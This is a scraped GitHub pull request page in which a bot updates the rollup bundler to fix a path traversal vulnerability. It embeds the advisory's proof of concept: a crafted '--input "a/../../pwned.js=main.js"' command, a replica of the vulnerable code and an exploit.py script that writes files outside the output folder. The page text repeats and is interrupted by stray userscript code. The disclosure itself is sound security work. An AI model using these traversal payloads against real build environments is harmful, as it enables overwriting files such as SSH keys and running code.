renovate/npm-rollup-vulnerability

branch
March 27, 2026 02:22
@storm-softwarestorm-software
locked and limited conversation to collaborators
Mar 28, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedchore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
3 times, most recently
from
9086cc9 to
b704852CompareApril 1, 2026 17:03
@renovate
renovateBot
enabled auto-merge (squash)
April 1, 2026 17:03
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
b704852 to
59fd8faCompareApril 1, 2026 22:13
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
59fd8fa to
316d3caCompareApril 8, 2026 21:09
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 8, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
95559e9 to
15d4a3dCompareApril 23, 2026 11:54
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 23, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
15d4a3d to
662ce8aCompareApril 23, 2026 14:38
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 23, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedApr 27, 2026
@renovaterenovateBot
closed this
Apr 27, 2026

auto-merge was automatically disabled
April 27, 2026 17:55
Pull request was closed
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedchore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 27, 2026
@renovaterenovateBot
reopened this
Apr 27, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
3 times, most recently
from
2e48feb to
738b7d2CompareApril 29, 2026 09:44
@renovate
renovateBot
enabled auto-merge (squash)
April 29, 2026 09:44
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 29, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
738b7d2 to
85f4ec9CompareApril 29, 2026 19:47
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 29, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
85f4ec9 to
3b6d301CompareApril 30, 2026 13:34
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
3b6d301 to
017d3e9CompareApril 30, 2026 18:00
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
017d3e9 to
cca5542CompareMay 12, 2026 10:20
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]May 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
cca5542 to
c6bf339CompareMay 12, 2026 16:14
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]May 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c6bf339 to
bd59b6bCompareMay 14, 2026 17:52
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]May 14, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
bd59b6b to
145bfdcCompareMay 14, 2026 20:51
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]May 14, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
145bfdc to
da0879fCompareMay 18, 2026 12:42
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.


Reviewers

@sullivanpjsullivanpjAwaiting requested review from sullivanpjsullivanpj is a code owner

At least 1 approving review is required to merge this pull request.


Assignees


No one assigned


Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants


, 'i');
if (__m === '*' || __re.test(location.href)) {
injectUserscript("// Force GitHub README to respect dark mode\n(function() {\n var style = document.createElement('style');\n style.textContent = '\n .markdown-body {\n color-scheme: dark light;\n }\n .markdown-body pre { background: #161b22 !important; }\n .markdown-body code { background: rgba(110, 118, 129, 0.4) !important; }\n .markdown-body table th, .markdown-body table td { border-color: #30363d !important; }\n .markdown-body img { background: #0d1117; }\n .markdown-body blockquote { border-left-color: #8b949e; }\n .markdown-body hr { border-color: #30363d; }\n ';\n document.head.appendChild(style);\n})();", "GitHub Dark Mode README Fix");
}
} catch(__e) { console.warn('[Userscript:GitHub Dark Mode README Fix]', __e); }
})();
(function(){
try {
var __m = "*";
var __re = new RegExp('^' + ".*" + '

Skip to content
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - #211
Open
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-rollup-vulnerability
Open
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]#211
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-rollup-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Mar 1, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeConfidence
rollup (source)4.52.2 → 4.59.0ageconfidence
rollup (source)^4.52.3 → ^4.59.0ageconfidence
Rollup 4 has Arbitrary File Write via Path Traversal
CVE-2026-27606 / GHSA-mw96-cpmx-2vgc
More information
Details
Summary
The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.
Details
The vulnerability is caused by the combination of two flawed components in the Rollup core:
  1. Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).
    // src/utils/sanitizeFileName.ts (Line 3)constINVALID_CHAR_REGEX=/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;
    This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.
  2. Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.
    // src/rollup/rollup.ts (Line 317)constfileName=resolve(outputOptions.dir||dirname(outputOptions.file!),outputFile.fileName);
    Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.
PoC
A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.
Scenario: CLI Named Input Exploit
  1. Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
  2. Execute Rollup with a specifically crafted named input where the key contains traversal characters:

    rollup --input "a/../../pwned.js=main.js" --dir dist
  3. Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.
Reproduction Files provided :
  • vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.
  • exploit.py: Automated script to run the PoC and verify the file escape.
vuln_app.js
constpath=require('path');constfs=require('fs');/** * REPLICATED ROLLUP VULNERABILITY *  * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts) * 2. Unsafe Path Resolution (from src/rollup/rollup.ts) */functionsanitize(name){// The vulnerability: Rollup's regex fails to strip dots and slashes, // allowing path traversal sequences like '../'returnname.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g,'_');}asyncfunctionbuild(userSuppliedName){constoutputDir=path.join(__dirname,'dist');constfileName=sanitize(userSuppliedName);// Vulnerability: path.resolve() follows traversal sequences in the filenameconstoutputPath=path.resolve(outputDir,fileName);console.log(`[*] Target write path: ${outputPath}`);if(!fs.existsSync(path.dirname(outputPath))){fs.mkdirSync(path.dirname(outputPath),{recursive: true});}fs.writeFileSync(outputPath,'console.log("System Compromised!");');console.log(`[+] File written successfully.`);}build(process.argv[2]||'bundle.js');
exploit.py
importsubprocessfrompathlibimportPathdefrun_poc():
# Target a file outside the 'dist' folderpoc_dir=Path(__file__).parentmalicious_filename="../pwned_by_rollup.js"target_path=poc_dir/"pwned_by_rollup.js"print(f"=== Rollup Path Traversal PoC ===")
print(f"[*] Malicious Filename: {malicious_filename}")
# Trigger the vulnerable appsubprocess.run(["node", "poc/vuln_app.js", malicious_filename])
iftarget_path.exists():
print(f"[SUCCESS] File escaped 'dist' folder!")
print(f"[SUCCESS] Created: {target_path}")
# target_path.unlink() # Cleanupelse:
print("[FAILED] Exploit did not work.")
if__name__=="__main__":
run_poc()
POC
rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist
image
Impact
This is a High level of severity vulnerability.
  • Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges.
  • Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
  • User Impact: Developers running builds on untrusted repositories are at risk of system compromise.
Severity
  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
rollup/rollup (rollup)
v4.59.0
Compare Source
2026-02-22
Features
  • Throw when the generated bundle contains paths that would leave the output directory (#​6276)
Pull Requests
v4.58.0
Compare Source
2026-02-20
Features
  • Also support __NO_SIDE_EFFECTS__ annotation before variable declarations declaring function expressions (#​6272)
Pull Requests
v4.57.1
Compare Source
2026-01-30
Bug Fixes
  • Fix heap corruption issue in Windows (#​6251)
  • Ensure exports of a dynamic import are fully included when called from a try...catch (#​6254)
Pull Requests
v4.57.0
Compare Source
2026-01-27
Features
  • Add import attributes to all plugin hooks that did not provide them yet (#​5700)
  • Deprecate returning import attributes from load or transform hooks as that will no longer be supported with rollup 5 (#​5700)
Pull Requests
v4.56.0
Compare Source
2026-01-22
Features
  • Track object property inclusions of dynamic namespace members (#​6230)
Bug Fixes
  • Handle methods that access dynamically imported namespace members via this (#​6230)
Pull Requests
v4.55.3
Compare Source
2026-01-21
Bug Fixes
  • Fix JSX semicolon insert position in variable declarations (#​6241)
Pull Requests
v4.55.2
Compare Source
2026-01-19
Bug Fixes
  • Sort manual chunks by execution order to reduce circular dependency issues (#​6240)
Pull Requests
v4.55.1
Compare Source
2026-01-05
Bug Fixes
  • Fix artifact reference for OpenBSD (#​6231)
Pull Requests
v4.54.0
Compare Source
2025-12-20
Features
  • Enable tree-shaking for Symbol.hasInstance, Symbol.dispose and Symbol.asyncDispose properties if unused (#​6046)
Bug Fixes
  • Ensure that well-known-Symbol-valued properties are not tree-shaken except in select cases (#​6046)
  • Ensure namespace properties are included when referenced only from a try-catch (#​6216)
Pull Requests
v4.53.5
Compare Source
2025-12-16
Bug Fixes
  • Fix wrong semicolon insertion position when using JSX (#​6206)
  • Generate spec-compliant sourcemaps when sources content is excluded (#​6196)
Pull Requests
v4.53.4
Compare Source
2025-12-15
Bug Fixes
  • Ensure Symbol.dispose and Symbol.asyncDispose properties are never removed with (await) using declarations. (#​6209)
Pull Requests
v4.53.3
Compare Source
2025-11-19
Bug Fixes
  • Fix an error where too many modules where flagged for having an unused external import (#​6182)
  • Fix an error where an assignment was wrongly tree-shaken when mutating it (#​6183)
Pull Requests
v4.53.2
Compare Source
2025-11-10
Bug Fixes
  • Do not throw when using invalid escape sequences in template literals (#​6177)
Pull Requests
v4.53.1
Compare Source
2025-11-07
Bug Fixes
Pull Requests
v4.53.0
Compare Source
2025-11-07
Features
  • Improve rendering performance by caching generated variable names (#​5947)
Pull Requests
v4.52.5
Compare Source
2025-10-18
Bug Fixes
  • Always produce valid UUIDs as debugIds in sourcemaps (#​6144)
Pull Requests
v4.52.4
Compare Source
2025-10-03
Bug Fixes
  • Fix an issue where the wrong branch of nullish coalescing was picked (#​6133)
Pull Requests
v4.52.3
Compare Source
2025-09-27
Bug Fixes
  • Fix check in native loader for environments that do not support reports (#​6123)
Pull Requests
Configuration
📅 Schedule: (in timezone America/New_York)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovate
renovateBot
requested a review
from a teamMarch 1, 2026 01:49
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Mar 1, 2026
@renovate
renovateBot
requested review from
a team and sullivanpj
as code ownersMarch 1, 2026 01:49
@renovate
renovateBot
enabled auto-merge (squash)
March 1, 2026 01:49
@deepsource-io
deepsource-ioBot
commented
Mar 1, 2026•

edited

Loading

Copy link


Copy Markdown

DeepSource Code Review
We reviewed changes in 242a5a8...b91b4eb on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.
See full review on DeepSource ↗
PR Report Card
Overall GradeSecurity

Reliability

Complexity

Hygiene
Code Review Summary
AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 26, 2026 8:58p.m.Review ↗
ShellMar 26, 2026 8:58p.m.Review ↗
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c971e0c to
fc22925CompareMarch 5, 2026 15:35
@socket-security
socket-securityBot
commented
Mar 5, 2026•

edited

Loading

Copy link


Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.
DiffPackageSupply Chain
Security		VulnerabilityQualityMaintenanceLicense
Added@​microsoft/​tsdoc@​0.16.0971009084100
Added@​rollup/​plugin-node-resolve@​16.0.19810010086100
Added@​microsoft/​tsdoc-config@​0.18.11001009688100
Updated@​microsoft/​api-extractor@​7.52.13 ⏵ 7.57.794-510089+196+5100
Added@​rollup/​plugin-commonjs@​28.0.69710010093100
View full report
@socket-security
socket-securityBot
commented
Mar 5, 2026•

edited

Loading

Copy link


Copy Markdown

Warning
Review the following alerts detected in dependencies.
According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.
ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm vite is 91.0% likely obfuscated
Confidence: 0.91
Location:Package overview
From:pnpm-lock.yaml → npm/@nx/react@21.5.3 → npm/vite@7.1.5
ℹ Read more on: This package | This alert | What is obfuscated code?
Next steps: Take a moment to review the security alert above. Review
the linked package source code to understand the potential risk. Ensure the
package is not malicious before proceeding. If you're unsure how to proceed,
reach out to your security team or ask the Socket team for help at
support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.
Mark the package as acceptable risk. To ignore this alert only
in this pull request, reply with the comment
@SocketSecurity ignore npm/vite@7.1.5. You can
also ignore all packages with @SocketSecurity ignore-all.
To ignore an alert for all future pull requests, use Socket's Dashboard to
change the triage state of this alert.

View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
fc22925 to
f8c8592CompareMarch 13, 2026 17:22
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
f8c8592 to
c80f927CompareMarch 26, 2026 17:24
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Mar 26, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c80f927 to
b91b4ebCompareMarch 26, 2026 20:57
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Mar 26, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedMar 27, 2026
@renovaterenovateBot
closed this
Mar 27, 2026

auto-merge was automatically disabled
March 27, 2026 02:22
Pull request was closed
@renovate
renovateBot
deleted the

renovate/npm-rollup-vulnerability

branch
March 27, 2026 02:22
@storm-softwarestorm-software
locked and limited conversation to collaborators
Mar 28, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedchore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
3 times, most recently
from
9086cc9 to
b704852CompareApril 1, 2026 17:03
@renovate
renovateBot
enabled auto-merge (squash)
April 1, 2026 17:03
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
b704852 to
59fd8faCompareApril 1, 2026 22:13
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
59fd8fa to
316d3caCompareApril 8, 2026 21:09
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 8, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
95559e9 to
15d4a3dCompareApril 23, 2026 11:54
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 23, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
15d4a3d to
662ce8aCompareApril 23, 2026 14:38
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 23, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedApr 27, 2026
@renovaterenovateBot
closed this
Apr 27, 2026

auto-merge was automatically disabled
April 27, 2026 17:55
Pull request was closed
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedchore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 27, 2026
@renovaterenovateBot
reopened this
Apr 27, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
3 times, most recently
from
2e48feb to
738b7d2CompareApril 29, 2026 09:44
@renovate
renovateBot
enabled auto-merge (squash)
April 29, 2026 09:44
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 29, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
738b7d2 to
85f4ec9CompareApril 29, 2026 19:47
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 29, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
85f4ec9 to
3b6d301CompareApril 30, 2026 13:34
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
3b6d301 to
017d3e9CompareApril 30, 2026 18:00
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
017d3e9 to
cca5542CompareMay 12, 2026 10:20
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]May 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
cca5542 to
c6bf339CompareMay 12, 2026 16:14
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]May 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c6bf339 to
bd59b6bCompareMay 14, 2026 17:52
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]May 14, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
bd59b6b to
145bfdcCompareMay 14, 2026 20:51
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]May 14, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
145bfdc to
da0879fCompareMay 18, 2026 12:42
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.


Reviewers

@sullivanpjsullivanpjAwaiting requested review from sullivanpjsullivanpj is a code owner

At least 1 approving review is required to merge this pull request.


Assignees


No one assigned


Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants


, 'i');
if (__m === '*' || __re.test(location.href)) {
injectUserscript("// Highlight search terms from Google/DuckDuckGo/Bing referrer\n(function() {\n var ref = document.referrer;\n var terms = [];\n \n if (ref.includes('google.com') || ref.includes('duckduckgo.com') || ref.includes('bing.com')) {\n var url = new URL(ref);\n var q = url.searchParams.get('q') || url.searchParams.get('p');\n if (q) {\n terms = q.split(/\\s+/).filter(function(t) { return t.length > 2; });\n }\n }\n \n if (terms.length === 0) return;\n \n var style = document.createElement('style');\n style.textContent = '.userscript-highlight { background: #fbbf24; color: #1a1a2e; padding: 1px 3px; border-radius: 2px; }';\n document.head.appendChild(style);\n \n function highlight(node) {\n if (node.nodeType === 3) { // text node\n var text = node.textContent;\n var found = false;\n terms.forEach(function(term) {\n var regex = new RegExp('(' + term.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\') + ')', 'gi');\n if (regex.test(text)) {\n found = true;\n var frag = document.createDocumentFragment();\n var parts = text.split(regex);\n parts.forEach(function(part, i) {\n if (i % 2 === 0) {\n frag.appendChild(document.createTextNode(part));\n } else {\n var span = document.createElement('span');\n span.className = 'userscript-highlight';\n span.textContent = part;\n frag.appendChild(span);\n }\n });\n node.parentNode.replaceChild(frag, node);\n }\n });\n } else if (node.nodeType === 1 && node.childNodes) { // element\n var skipTags = ['SCRIPT', 'STYLE', 'NOSCRIPT', 'TEXTAREA', 'INPUT', 'SELECT'];\n if (!skipTags.includes(node.tagName)) {\n Array.from(node.childNodes).forEach(highlight);\n }\n }\n }\n \n highlight(document.body);\n \n // Re-highlight on dynamic content\n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1 || node.nodeType === 3) highlight(node);\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Highlight Search Terms");
}
} catch(__e) { console.warn('[Userscript:Highlight Search Terms]', __e); }
})();
(function(){
try {
var __m = "*";
var __re = new RegExp('^' + ".*" + '

Skip to content
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - #211
Open
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-rollup-vulnerability
Open
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]#211
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-rollup-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Mar 1, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeConfidence
rollup (source)4.52.2 → 4.59.0ageconfidence
rollup (source)^4.52.3 → ^4.59.0ageconfidence
Rollup 4 has Arbitrary File Write via Path Traversal
CVE-2026-27606 / GHSA-mw96-cpmx-2vgc
More information
Details
Summary
The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.
Details
The vulnerability is caused by the combination of two flawed components in the Rollup core:
  1. Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).
    // src/utils/sanitizeFileName.ts (Line 3)constINVALID_CHAR_REGEX=/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;
    This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.
  2. Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.
    // src/rollup/rollup.ts (Line 317)constfileName=resolve(outputOptions.dir||dirname(outputOptions.file!),outputFile.fileName);
    Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.
PoC
A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.
Scenario: CLI Named Input Exploit
  1. Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
  2. Execute Rollup with a specifically crafted named input where the key contains traversal characters:

    rollup --input "a/../../pwned.js=main.js" --dir dist
  3. Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.
Reproduction Files provided :
  • vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.
  • exploit.py: Automated script to run the PoC and verify the file escape.
vuln_app.js
constpath=require('path');constfs=require('fs');/** * REPLICATED ROLLUP VULNERABILITY *  * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts) * 2. Unsafe Path Resolution (from src/rollup/rollup.ts) */functionsanitize(name){// The vulnerability: Rollup's regex fails to strip dots and slashes, // allowing path traversal sequences like '../'returnname.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g,'_');}asyncfunctionbuild(userSuppliedName){constoutputDir=path.join(__dirname,'dist');constfileName=sanitize(userSuppliedName);// Vulnerability: path.resolve() follows traversal sequences in the filenameconstoutputPath=path.resolve(outputDir,fileName);console.log(`[*] Target write path: ${outputPath}`);if(!fs.existsSync(path.dirname(outputPath))){fs.mkdirSync(path.dirname(outputPath),{recursive: true});}fs.writeFileSync(outputPath,'console.log("System Compromised!");');console.log(`[+] File written successfully.`);}build(process.argv[2]||'bundle.js');
exploit.py
importsubprocessfrompathlibimportPathdefrun_poc():
# Target a file outside the 'dist' folderpoc_dir=Path(__file__).parentmalicious_filename="../pwned_by_rollup.js"target_path=poc_dir/"pwned_by_rollup.js"print(f"=== Rollup Path Traversal PoC ===")
print(f"[*] Malicious Filename: {malicious_filename}")
# Trigger the vulnerable appsubprocess.run(["node", "poc/vuln_app.js", malicious_filename])
iftarget_path.exists():
print(f"[SUCCESS] File escaped 'dist' folder!")
print(f"[SUCCESS] Created: {target_path}")
# target_path.unlink() # Cleanupelse:
print("[FAILED] Exploit did not work.")
if__name__=="__main__":
run_poc()
POC
rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist
image
Impact
This is a High level of severity vulnerability.
